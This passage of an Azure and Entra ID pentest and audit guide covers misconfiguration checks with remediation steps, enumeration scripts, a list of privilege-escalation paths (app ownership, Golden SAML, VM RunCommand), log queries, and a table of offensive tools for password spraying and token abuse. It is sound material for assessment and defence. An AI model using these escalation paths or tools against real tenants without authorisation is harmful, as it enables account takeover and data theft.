FtpBasic = $ftp.Properties.allow
ScmBasic = $scm.Properties.allow
}
} | Where-Object { $_.FtpBasic -eq $true -or $_.ScmBasic -eq $true }
# Azure CLI
az webapp list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
FTP=$(az resource show --ids "/subscriptions/$(az account show -o tsv --query id)/resourceGroups/$RG/providers/Microsoft.Web/sites/$NAME/basicPublishingCredentialsPolicies/ftp" --api-version 2022-03-01 --query "properties.allow" -o tsv 2>/dev/null)
SCM=$(az resource show --ids "/subscriptions/$(az account show -o tsv --query id)/resourceGroups/$RG/providers/Microsoft.Web/sites/$NAME/basicPublishingCredentialsPolicies/scm" --api-version 2022-03-01 --query "properties.allow" -o tsv 2>/dev/null)
if [ "$FTP" = "true" ] || [ "$SCM" = "true" ]; then
echo "FINDING: $NAME | FTP: $FTP | SCM: $SCM"
fi
done
Impact: An attacker who compromises the publishing credentials (obtainable via the Publish Profile XML or az webapp deployment list-publishing-credentials) can deploy arbitrary code to the web app without triggering Entra sign-in events, bypassing MFA and Conditional Access.
Remediation: Disable basic publishing credentials on each App Service and switch to Entra-backed deployment methods (GitHub Actions with OIDC, Azure DevOps with managed identity, az webapp deploy with Entra auth). Set via: az resource update --ids <app-id>/basicPublishingCredentialsPolicies/ftp --set properties.allow=false.
24.10 NSG Rules Exposing Management Ports to the Internet
Finding: Network Security Groups contain inbound Allow rules that expose RDP (3389) and/or SSH (22) to the public internet (*, Internet, or 0.0.0.0/0). These are the most commonly targeted ports in Azure and are actively scanned by botnets within minutes of exposure.
How to check:
# PowerShell
Get-AzNetworkSecurityGroup | ForEach-Object {
$nsg = $_
$_.SecurityRules | Where-Object {
$_.Direction -eq 'Inbound' -and $_.Access -eq 'Allow' -and
($_.DestinationPortRange -in @('22','3389','*')) -and
($_.SourceAddressPrefix -in @('*','Internet','0.0.0.0/0'))
} | Select-Object @{N='NSG';E={$nsg.Name}}, @{N='RG';E={$nsg.ResourceGroupName}},
Name, DestinationPortRange, SourceAddressPrefix
}
# Azure CLI
az network nsg list --query "[].{NSG:name, RG:resourceGroup}" -o tsv | while read NSG RG; do
az network nsg rule list --nsg-name "$NSG" --resource-group "$RG" \
--query "[?direction=='Inbound' && access=='Allow' && (destinationPortRange=='22' || destinationPortRange=='3389' || destinationPortRange=='*') && (sourceAddressPrefix=='*' || sourceAddressPrefix=='Internet')]" \
-o table 2>/dev/null
done
Impact: Exposed management ports are brute-forced within minutes. A successful authentication yields full OS-level access. Even with strong passwords, exposure increases attack surface for credential stuffing, zero-day exploits, and protocol-level vulnerabilities.
Remediation: Remove internet-facing RDP/SSH rules. Use Azure Bastion for secure management access, or restrict source IPs to known VPN/office ranges. Implement JIT VM Access through Defender for Cloud to open ports only on demand with time-limited windows.
24.11 Defender for Cloud Plans at Free Tier
Finding: One or more Microsoft Defender for Cloud workload protection plans are set to the Free tier, meaning those resource types have no advanced threat detection, vulnerability scanning, or adaptive security controls.
How to check:
# PowerShell
Get-AzSecurityPricing | Where-Object { $_.PricingTier -eq 'Free' } |
Select-Object Name, PricingTier
# Azure CLI
az security pricing list --query "[?pricingTier=='Free'].{Plan:name, Tier:pricingTier}" -o table
Impact: Workloads without Defender coverage lack runtime threat detection (fileless attacks, anomalous process execution, brute-force alerts), vulnerability assessments, and adaptive application controls. Attacks against these resources will not generate Defender alerts.
Remediation: Enable the Standard tier for all critical workload plans: VirtualMachines, SqlServers, AppServices, StorageAccounts, KeyVaults, Arm, Containers, Dns. Prioritize VM and SQL coverage. Evaluate cost vs. coverage gap risk for each plan.
24.12 Secrets Stored in App Service Application Settings
Finding: Azure App Service application settings contain values that appear to be secrets (passwords, API keys, connection strings, SAS tokens) stored in plaintext rather than as Key Vault references. Anyone with Microsoft.Web/sites/config/list/Action permission can read these values.
How to check:
# PowerShell
Get-AzWebApp | ForEach-Object {
$app = Get-AzWebApp -ResourceGroupName $_.ResourceGroup -Name $_.Name
$app.SiteConfig.AppSettings | Where-Object {
$_.Name -match '(?i)(password|secret|key|token|connectionstring|apikey|sas)'
} | Select-Object @{N='App';E={$app.Name}}, Name, @{N='Value';E={'<PRESENT - REDACTED>'}}
}
# Azure CLI
az webapp list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
az webapp config appsettings list --name "$NAME" --resource-group "$RG" \
--query "[?contains(name,'assword') || contains(name,'ecret') || contains(name,'oken') || contains(name,'onnection')].{App:'$NAME', Setting:name}" -o table 2>/dev/null
done
Impact: Plaintext secrets in app settings are exposed to all users with read access to the App Service configuration (Contributor, Website Contributor, or custom roles with config/list). They also appear in ARM template exports, deployment history, and backup files.
Remediation: Replace plaintext values with Key Vault references using the @Microsoft.KeyVault(SecretUri=https://<vault>.vault.azure.net/secrets/<name>/) syntax. Enable the App Service’s system-assigned managed identity and grant it Key Vault Secrets User on the vault.
24.13 VM RunCommand Access Grants Control-Plane to Data-Plane Escalation
Finding: Non-administrative principals hold RBAC roles that include Microsoft.Compute/virtualMachines/runCommand/action, allowing them to execute arbitrary commands on VMs as SYSTEM (Windows) or root (Linux). This is an often-overlooked privilege escalation path from Azure control-plane RBAC to full data-plane OS access.
How to check:
# PowerShell: Identify principals with Run Command capability
Get-AzRoleAssignment | ForEach-Object {
$role = Get-AzRoleDefinition -Id $_.RoleDefinitionId
$hasRunCmd = $role.Actions | Where-Object {
$_ -like 'Microsoft.Compute/virtualMachines/runCommand*' -or
$_ -like 'Microsoft.Compute/virtualMachines/*' -or
$_ -eq '*'
}
if ($hasRunCmd) {
[PSCustomObject]@{
Principal = $_.DisplayName
Type = $_.ObjectType
Role = $_.RoleDefinitionName
Scope = $_.Scope
}
}
} | Where-Object { $_.Role -notin @('Owner','Contributor') } # Filter out expected broad roles
# Azure CLI: Check which custom/built-in roles include runCommand
az role definition list --query "[?contains(permissions[].actions[],'runCommand') || contains(permissions[].actions[],'virtualMachines/*')].{Role:roleName, Type:roleType}" -o table
Impact: A user with only Virtual Machine Contributor (or a custom role with Run Command action) can execute Invoke-AzVMRunCommand to run arbitrary PowerShell/bash as SYSTEM/root — dumping credentials, installing persistence, pivoting laterally — all through the Azure control plane with no direct network access to the VM needed.
Remediation: Audit and restrict Run Command permissions. Create custom roles that exclude runCommand/action for operators who need VM management but not command execution. Use Privileged Identity Management (PIM) for just-in-time elevation of VM Contributor roles. Monitor Microsoft.Compute/virtualMachines/runCommand/action operations in Activity Log.
24.14 Unrestricted Outbound Network Access (Data Exfiltration Risk)
Finding: Network Security Groups are configured with Allow-All outbound rules (destination *, port *), providing no egress filtering. This allows compromised workloads to freely communicate with attacker infrastructure, exfiltrate data, and participate in outbound attacks without any network-layer control.
How to check:
# PowerShell
Get-AzNetworkSecurityGroup | ForEach-Object {
$nsg = $_
$_.SecurityRules | Where-Object {
$_.Direction -eq 'Outbound' -and $_.Access -eq 'Allow' -and
$_.DestinationPortRange -eq '*' -and $_.DestinationAddressPrefix -eq '*'
} | Select-Object @{N='NSG';E={$nsg.Name}}, @{N='RG';E={$nsg.ResourceGroupName}},
Name, Priority
}
# Azure CLI
az network nsg list --query "[].{NSG:name, RG:resourceGroup}" -o tsv | while read NSG RG; do
az network nsg rule list --nsg-name "$NSG" --resource-group "$RG" \
--query "[?direction=='Outbound' && access=='Allow' && destinationPortRange=='*' && destinationAddressPrefix=='*'].{Rule:name, Priority:priority}" -o table 2>/dev/null
done
Impact: Compromised VMs can exfiltrate data to any external endpoint, establish C2 channels, perform outbound NTLM relay attacks (port 445), and reach attacker-hosted services — all with no network-level detection or prevention. This is routinely exploited in post-compromise scenarios.
Remediation: Implement explicit outbound rules allowing only required destinations and ports. Use Azure Firewall or Network Virtual Appliances for centralized egress filtering with logging. At minimum, block outbound SMB (445) and RDP (3389) to the internet. Apply NSG flow logs to detect anomalous outbound traffic.
25. Comprehensive Audit Scripts
Full Application Security Audit
$MyId = (Get-MgUser -UserId (Get-MgContext).Account).Id
$Results = @()
Get-MgApplication -All | ForEach-Object {
$App = $_
$AppResult = [PSCustomObject]@{
AppName = $App.DisplayName
AppId = $App.AppId
OwnApp = "No"
HasExpiredCreds = "No"
Suspicious = "No"
}
# Check ownership
try { $Owners = Get-MgApplicationOwner -ApplicationId $App.Id; if ($Owners.Id -contains $MyId) { $AppResult.OwnApp = "YES" } } catch {}
# Check for expired credentials
$ExpiredKeys = $App.KeyCredentials | Where-Object {$_.EndDateTime -lt (Get-Date)}
$ExpiredPwds = $App.PasswordCredentials | Where-Object {$_.EndDateTime -lt (Get-Date)}
if ($ExpiredKeys -or $ExpiredPwds) { $AppResult.HasExpiredCreds = "YES" }
# Check for suspicious naming
if ($App.DisplayName -match "bot|backdoor|temp|test|hack" -or $App.DisplayName -like "*/*" -or $App.DisplayName -like "*=*") { $AppResult.Suspicious = "YES" }
$Results += $AppResult
}
$Results | Where-Object { $_.OwnApp -eq "YES" -or $_.HasExpiredCreds -eq "YES" -or $_.Suspicious -eq "YES" } | Format-Table -AutoSize
Full Credential Addition Test
Write-Host "=== TESTING CREDENTIAL ADDITION CAPABILITIES ==="
Get-MgApplication -All | ForEach-Object { $App = $_; try { Add-MgApplicationPassword -ApplicationId $App.Id -PasswordCredential @{DisplayName="test"} -WhatIf 2>$null; Write-Host "CAN ADD CREDS TO APP: $($App.DisplayName)" } catch {} }
Full Ownership Scan
$MyId = (Get-MgUser -UserId (Get-MgContext).Account).Id
Write-Host "=== OBJECTS YOU OWN ==="
Write-Host "--- Applications ---"
Get-MgApplication -All | ForEach-Object { $Owners = Get-MgApplicationOwner -ApplicationId $_.Id -ErrorAction SilentlyContinue; if ($Owners.Id -contains $MyId) { Write-Host " $($_.DisplayName)" } }
Write-Host "--- Groups ---"
Get-MgGroup -All | ForEach-Object { $Owners = Get-MgGroupOwner -GroupId $_.Id -ErrorAction SilentlyContinue; if ($Owners.Id -contains $MyId) { Write-Host " $($_.DisplayName)" } }
Write-Host "--- Service Principals ---"
Get-MgServicePrincipal -All | ForEach-Object { $Owners = Get-MgServicePrincipalOwner -ServicePrincipalId $_.Id -ErrorAction SilentlyContinue; if ($Owners.Id -contains $MyId) { Write-Host " $($_.DisplayName)" } }
Cmdlet Mapping: AzureAD -> Microsoft Graph
| AzureAD (Deprecated) | Microsoft Graph PowerShell | Notes |
|---|---|---|
Connect-AzureAD |
Connect-MgGraph |
Requires scopes |
Get-AzureADCurrentSessionInfo |
Get-MgContext |
|
Get-AzureADTenantDetail |
Get-MgOrganization |
|
Get-AzureADUser |
Get-MgUser |
|
Set-AzureADUser |
Update-MgUser |
|
New-AzureADUser |
New-MgUser |
|
Get-AzureADUserMembership |
Get-MgUserMemberOf |
|
Get-AzureADUserOwnedObject |
Get-MgUserOwnedObject |
|
Set-AzureADUserPassword |
Reset-MgUserAuthenticationMethodPassword |
Different approach |
Get-AzureADGroup |
Get-MgGroup |
|
Get-AzureADGroupMember |
Get-MgGroupMember |
|
Get-AzureADGroupOwner |
Get-MgGroupOwner |
|
Add-AzureADGroupMember |
New-MgGroupMember |
|
Get-AzureADMSGroup |
Get-MgGroup |
Unified |
Get-AzureADApplication |
Get-MgApplication |
|
New-AzureADApplication |
New-MgApplication |
|
Set-AzureADApplication |
Update-MgApplication |
|
Get-AzureADApplicationOwner |
Get-MgApplicationOwner |
|
Get-AzureADServicePrincipal |
Get-MgServicePrincipal |
|
Get-AzureADServicePrincipalOwner |
Get-MgServicePrincipalOwner |
|
New-AzureADServicePrincipalPasswordCredential |
Add-MgServicePrincipalPassword |
|
Get-AzureADServicePrincipalKeyCredential |
(Get-MgServicePrincipal).KeyCredentials |
Property |
Get-AzureADServicePrincipalPasswordCredential |
(Get-MgServicePrincipal).PasswordCredentials |
Property |
Get-AzureADServiceAppRoleAssignment |
Get-MgServicePrincipalAppRoleAssignment |
|
Get-AzureADServiceAppRoleAssignedTo |
Get-MgServicePrincipalAppRoleAssignedTo |
|
Get-AzureADDirectoryRole |
Get-MgDirectoryRole |
|
Get-AzureADDirectoryRoleMember |
Get-MgDirectoryRoleMember |
|
Add-AzureADDirectoryRoleMember |
New-MgDirectoryRoleMemberByRef |
|
Get-AzureADDomain |
Get-MgDomain |
|
Get-AzureADDevice |
Get-MgDevice |
|
Get-AzureADOAuth2PermissionGrant |
Get-MgOauth2PermissionGrant |
|
Get-AzureADMSConditionalAccessPolicy |
Get-MgIdentityConditionalAccessPolicy |
|
Get-AzureADMSAdministrativeUnit |
Get-MgDirectoryAdministrativeUnit |
|
Get-AzureADMSRoleDefinition |
Get-MgRoleManagementDirectoryRoleDefinition |
|
Get-AzureADMSRoleAssignment |
Get-MgRoleManagementDirectoryRoleAssignment |
|
New-AzureADMSInvitation |
New-MgInvitation |
|
Get-AzureADContact |
Get-MgContact |
|
Get-AzureADAuditSignInLogs |
Get-MgAuditLogSignIn |
|
Get-AzureADDirectorySetting |
Get-MgDirectorySetting |
Quick Migration with Entra PowerShell Compatibility Mode
# Instead of rewriting everything, use the compatibility layer:
Import-Module Microsoft.Graph.Entra
Connect-Entra
Enable-EntraAzureADAlias
# Now all Get-AzureAD* commands work via aliases (98%+ coverage)
Entra ID vs On-Prem AD
| Concept | On-Premises AD | Microsoft Entra ID |
|---|---|---|
| Identity Objects | Users, Computers, Groups | Users, Groups, Devices, Service Principals |
| Authentication | Kerberos, NTLM | OAuth 2.0, SAML, WS-Fed, OIDC |
| Permissions | ACLs, GPOs | Directory Roles, RBAC, OAuth Scopes |
| Trust | Domain/Forest Trusts | Federation, B2B, Cross-tenant |
| Persistence | Golden/Silver Ticket | Golden SAML, App Credentials, Federation Backdoor |
| Lateral Movement | Pass-the-Hash, PtT | Token Theft, App Impersonation, VM RunCommand |
| Priv Esc | DCSync, AdminSDHolder | App Ownership, Credential Stuffing, PIM Abuse |
| Computer Objects | Domain-joined machines | Azure AD Joined/Registered Devices |
| Service Accounts | MSAs, gMSAs | Service Principals, Managed Identities |
| Admin Roles | DA, EA, Schema Admins | Global Admin, Privileged Role Admin |
| Credential Theft | LSASS dump, DCSync | Token theft, Key Vault secrets, App credentials |
| Recon | BloodHound, PowerView | AzureHound, ROADtools, GraphRunner |
Some Privilege Escalation Paths Worth Exploring
1. PASSWORD RESET -> Take over privileged user accounts
2. APPLICATION OWNERSHIP -> Add credentials -> Authenticate as app -> Inherit permissions
3. GROUP OWNERSHIP -> Add yourself to privileged groups -> Inherit role assignments
4. DYNAMIC GROUP EXPLOITATION -> Modify your attributes -> Auto-join privileged groups
5. SERVICE PRINCIPAL CREDENTIAL STUFFING -> Add creds to SPs with expired keys -> Impersonate
6. GOLDEN SAML (Federation Abuse) -> Create/modify federated domain -> Forge tokens -> Bypass MFA
7. MANAGED IDENTITY ABUSE -> Compromise VM -> Use its managed identity token -> Access resources
8. KEY VAULT ACCESS -> Read secrets -> Get database passwords, API keys, certificates
9. VM RUNCOMMAND -> Execute code on VMs -> Pivot through the environment
10. AUTOMATION ACCOUNT ABUSE -> Create/modify runbooks -> Execute as automation identity
11. GUEST INVITATION -> Invite attacker-controlled accounts -> Persistent backdoor access
12. CROSS-CLOUD ESCALATION -> Azure -> AWS (via SAML/SSO federation)
13. CONDITIONAL ACCESS BYPASS -> Exploit excluded users/groups/apps/locations
14. DEPLOYMENT HISTORY -> Read ARM deployment history -> Extract secrets from templates
15. STORAGE ACCOUNT KEYS -> Access blob/file storage -> Data exfiltration
26. Audit Logs, Sign-Ins & Risk Detections
Logs tell the story of what’s already happened. During a pentest, reviewing these identifies prior compromises, reveals high-value targets, and helps you understand what’s being monitored.
Directory Audit Logs
# Recent directory changes (role assignments, app consent, policy changes)
$AuditLogs = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\`$top=50&\`$orderby=activityDateTime desc"
$AuditLogs.value | Select-Object activityDisplayName, activityDateTime, result, @{N='InitiatedBy';E={$_.initiatedBy.user.userPrincipalName ?? $_.initiatedBy.app.displayName}}, @{N='Target';E={$_.targetResources[0].displayName}} | Format-Table
# Filter for high-value events
$InterestingOps = @("Add member to role", "Add app role assignment to service principal", "Consent to application", "Add owner to application", "Update application", "Add federated identity credential", "Reset password")
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\`$top=200" | Select-Object -ExpandProperty value | Where-Object { $_.activityDisplayName -in $InterestingOps } | Select-Object activityDisplayName, activityDateTime, @{N='Actor';E={$_.initiatedBy.user.userPrincipalName}}, @{N='Target';E={$_.targetResources[0].displayName}}
Sign-In Logs
# Interactive sign-ins - last 50
$SignIns = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?\`$top=50&\`$orderby=createdDateTime desc"
$SignIns.value | Select-Object userDisplayName, userPrincipalName, appDisplayName, ipAddress, @{N='Location';E={"$($_.location.city), $($_.location.countryOrRegion)"}}, @{N='CA';E={$_.conditionalAccessStatus}}, @{N='MFA';E={$_.mfaDetail.authMethod}}, status
# Sign-ins from suspicious locations or with MFA bypass
$SignIns.value | Where-Object { $_.conditionalAccessStatus -eq 'notApplied' } | Select-Object userPrincipalName, appDisplayName, ipAddress, @{N='Location';E={$_.location.countryOrRegion}}
# Non-interactive sign-ins (token refreshes, service calls)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/auditLogs/signIns?\`$filter=signInEventTypes/any(t: t eq 'nonInteractiveUser')&\`$top=50" | Select-Object -ExpandProperty value | Select-Object userPrincipalName, appDisplayName, ipAddress, createdDateTime
Service Principal Sign-Ins
# Service principal sign-ins - identifies actively used SPs
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/auditLogs/signIns?\`$filter=signInEventTypes/any(t: t eq 'servicePrincipal')&\`$top=50" | Select-Object -ExpandProperty value | Select-Object @{N='SP';E={$_.servicePrincipalName}}, appId, ipAddress, @{N='Location';E={$_.location.countryOrRegion}}, createdDateTime
# Managed identity sign-ins
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/auditLogs/signIns?\`$filter=signInEventTypes/any(t: t eq 'managedIdentity')&\`$top=50" | Select-Object -ExpandProperty value | Select-Object @{N='MI';E={$_.servicePrincipalName}}, appId, @{N='Resource';E={$_.resourceDisplayName}}, createdDateTime
Risky Users & Risk Detections
# Users flagged as risky by Identity Protection
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers" | Select-Object -ExpandProperty value | Select-Object userDisplayName, userPrincipalName, riskLevel, riskState, riskLastUpdatedDateTime | Format-Table
# Risk detections - individual risk events
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityProtection/riskDetections?\`$top=50&\`$orderby=activityDateTime desc" | Select-Object -ExpandProperty value | Select-Object userDisplayName, riskEventType, riskLevel, detectionTimingType, ipAddress, @{N='Location';E={"$($_.location.city), $($_.location.countryOrRegion)"}}, activityDateTime | Format-Table
# Users at high risk with no remediation
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers?\`$filter=riskLevel eq 'high' and riskState eq 'atRisk'" | Select-Object -ExpandProperty value | Select-Object userDisplayName, userPrincipalName, riskLastUpdatedDateTime
Provisioning Logs
# App provisioning activity (SCIM sync to SaaS apps)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/provisioning?\`$top=50" | Select-Object -ExpandProperty value | Select-Object @{N='Action';E={$_.provisioningAction}}, @{N='Status';E={$_.provisioningStatusInfo.status}}, @{N='App';E={$_.servicePrincipal.displayName}}, @{N='Target';E={$_.targetIdentity.displayName}}, activityDateTime
Additional Resources
- Awesome Azure Pentest - Curated list of Azure security resources
- Microsoft Graph Cmdlet Mapping - Official AzureAD to Graph migration reference
- MITRE ATT&CK Cloud - Cloud attack techniques matrix
- Azure AD Security (aadinternals.com) - Dr. Nestori Syynimaa’s research and blog
- InternalAllTheThings - Azure - Azure enumeration cheatsheet
- HackTricks Cloud - Azure - Azure pentesting methodology
Tools Reference
| Tool | Type | Purpose | Link |
|---|---|---|---|
| Microsoft.Graph | PowerShell | Official Microsoft Graph SDK (replaces AzureAD module) | GitHub |
| Microsoft.Graph.Entra | PowerShell | Compatibility layer for legacy AzureAD scripts | PSGallery |
| Az | PowerShell | Azure Resource Manager access | Docs |
| Azure CLI | CLI | Cross-platform Azure management | Docs |
| AADInternals | PowerShell | Offensive Entra ID toolkit - recon, token manipulation, federation backdoors | GitHub |
| GraphRunner | PowerShell | Post-exploitation - Graph API recon, data pillaging, persistence | GitHub |
| ROADtools | Python | Entra ID recon with web GUI visualization | GitHub |
| AzureHound | Go | BloodHound data collector for Azure/Entra ID attack paths | GitHub |
| Graphpython | Python | Cross-platform Graph API enumeration and exploitation | GitHub |
| PowerZure | PowerShell | Azure resource security assessment and exploitation | GitHub |
| MicroBurst | PowerShell | Azure service enumeration and security assessment (NetSPI) | GitHub |
| ScoutSuite | Python | Multi-cloud security auditing | GitHub |
| TokenTactics | PowerShell | Azure AD token manipulation and abuse | GitHub |
| Spray365 | Python | Stealthy password spraying for M365 | GitHub |
| MSOLSpray | PowerShell/Python | Password spraying for Microsoft Online | GitHub |
| o365spray | Python | O365 user enumeration and password spraying | GitHub |
| TeamFiltration | .NET | Entra ID enumeration, spraying, exfiltration | GitHub |
| CloudFox | Go | Automating cloud penetration test situational awareness | GitHub |
| Monkey365 | PowerShell | M365, Azure, Entra ID security configuration reviews | GitHub |
| AzurePowerCommands | PowerShell | Microsoft Graph PowerShell recon commands (recursive group enum, role enum) | GitHub |
| Prowler | Python CLI | Multi-cloud security scanner (Azure CIS benchmark checks, resource misconfigs) | GitHub |
| Steampipe | SQL + HCL | Query Azure/Entra resources with SQL; CIS & NIST compliance mods | GitHub |
| Azure Resource Graph | KQL (Portal/CLI) | az graph query - fast cross-subscription resource queries without iterating |
Built into Azure CLI |
| TokenTactics | PowerShell | Azure/Entra token manipulation, FOCI abuse, token refresh/exchange | GitHub |
| MicroBurst | PowerShell | Azure services enumeration (storage, Key Vault, web apps, DNS) | GitHub |